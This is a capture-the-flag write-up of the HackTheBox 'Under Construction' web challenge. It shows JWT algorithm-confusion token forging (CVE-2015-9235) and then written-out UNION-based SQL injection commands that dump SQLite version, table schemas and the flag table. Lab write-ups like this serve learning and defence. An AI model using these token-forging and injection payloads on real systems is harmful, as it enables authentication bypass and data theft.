PenLog - Under Construction by HackTheBox

James Fraser · November 5, 2020

Details

Platform: HackTheBox
Difficulty: Medium
Link: Under Construction

Enumeration

Start the challenge instance and download the resource package:

challenge-page

Navigate the browser to http://ip:port/ and enter test as the “Username” and “Password” and click “Register”:

register (Note: My instance was deployed at http://206.189.25.23:30830)

Start Burp Suite and configure the browser’s HTTP proxy:

firefox-proxy (Note: My Burp proxy is the default: http://127.0.0.1:8080)

With Burp running and intercepting HTTP traffic via the proxy, login to the web app with the registered test account.

“Forward” the initial login request via Burp:

burp-login-request

Again, using Burp, send the web app’s redirect request, including the Cookie: session= token to Burp’s “Repeater”:

burp-redirect-request (Note:: Press Ctrl-R to send the request to Burp’s repeater.)

JSON Web Token (JWT)

Perusing the provided expressjs web app’s source code, the above session cookie, or, “token”, is generated and sent as an HTTP redirect response in the route file “routes/index.js”:

login-token

The JWTHelper.sign(...) can be traced to the file “helpers/JWTHelper.js” which subsequently includes a requires for jsonwebtoken:

requires-jsonwebtoken

Googling “jsonwebtoken vulnerabilities”, this library is vulnerable to “Authentication Bypass”, as described here.

This vulnerability, known as CVE-2015-9235, describes “JWT HS/RSA key confusion vulnerability” whereby a vulnerable server-side (jsonwebtoken in this case) successfully verifies a token by erroneously:

  1. Expecting “RSA” (public-private key scheme), but instead receiving “HSA256”(symmetric-key scheme); an attacker can easily forge a token with an updated “alg”
  2. Blindly passing the re-purposed public-key as the verification key to the server-side verification method, confusing the known public-key as the verification key for HS256

Copy the JWT token from the session cookie from the request in Burp’s Repeater, and use jwt.io to decode it. Note the “alg” type “RS256” and that the payload data includes a public key element “pk”:

token-decoded

As shown above, the decoded JWT token’s header designates “RS256” as the algorithm and the payload divulges the server-side public-key - the two requirements for CVE-2015-9235.

Download jwt_forge.py locally and copy the encoded JWT token from Burp’s repeater to a file for easier management, e.g. “jwt_token_example.txt”. Execute jwt_forge.py passing in the copied JWT token and registered username “test”:

jwt-forge-keyconfusion-test-1 (Note: I wrote jwt_forge.py to learn about JWT tokens and solve the “Under Construction” challenge.)

Copy the “forged” token from the terminal output and paste it over the current token in the request in Burp’s Repeater window; send the request to the web app by pressing “Send” and confirm the user is still authenticated as “test”:

jwt-forge-keyconfusion-test-2

SQL Injection (SQLi)

Spending more time reading the source code, there looks to be a simple SQL injection in “helpers/DBHelper.js” which interfaces to an SQLite3 database; the user-supplied input variable ${username} is concatenated with the SQL “SELECT” statement in the DBHelper.getUser(...) helper:

login-token

DBHelper.getUser(...), is called via the result of an async call from “middleware/AuthMiddleware.js”’s AuthMiddleware as highlighted in “routes/index.js”:

get-user-call

The provided parameter req.data.username, susequently passed to the SQLi vulnerability in DBHelper.getUser(...) is the username from the JWT token, extracted as of middleware AuthMiddleware:

auth-middleware

Re-forge the last “forged” JWT token using jwt_forge.py; pass a “UNION” injection to test the SQLi vulnerability:

union-inject

Again, copy the “forged” JWT token to the same Burp Repeater window and “Send” the request:

union-inject-result (Note: Having the “2” replace “test” as the username - this SQLi is not “blind”.)

With the jwt_forge.py + Burp Repeater process, inject the follow commands:

SQLite Version

$ python3 jwt_forge.py $(cat jwt_token_example.txt) \
    "test' and 1=2 UNION SELECT 1,sqlite_version(),3 -- -
...

union-inject-sqlite-vers

Database Table Names

$ python3 jwt_forge.py $(cat jwt_token_example.txt) \
    "test' and 1=2 UNION SELECT 1,group_concat(tbl_name),3 from sqlite_master -- -"
...

union-inject-sqlite-tbl-names

Database Table SQL

$ python3 jwt_forge.py $(cat jwt_token_example.txt) \
    "test' and 1=2 UNION SELECT 1,group_concat(sql),3 from sqlite_master -- -"

union-inject-sqlite-tbl-sql

Flag

Perform UNION injection to get the challenge flag and submit!

$ python3 jwt_forge.py $(cat jwt_token_example.txt) \
    "test' and 1=2 UNION SELECT 1,group_concat(top_secret_flaag),3 from flag_storage -- -"

union-inject-flag

Twitter, Facebook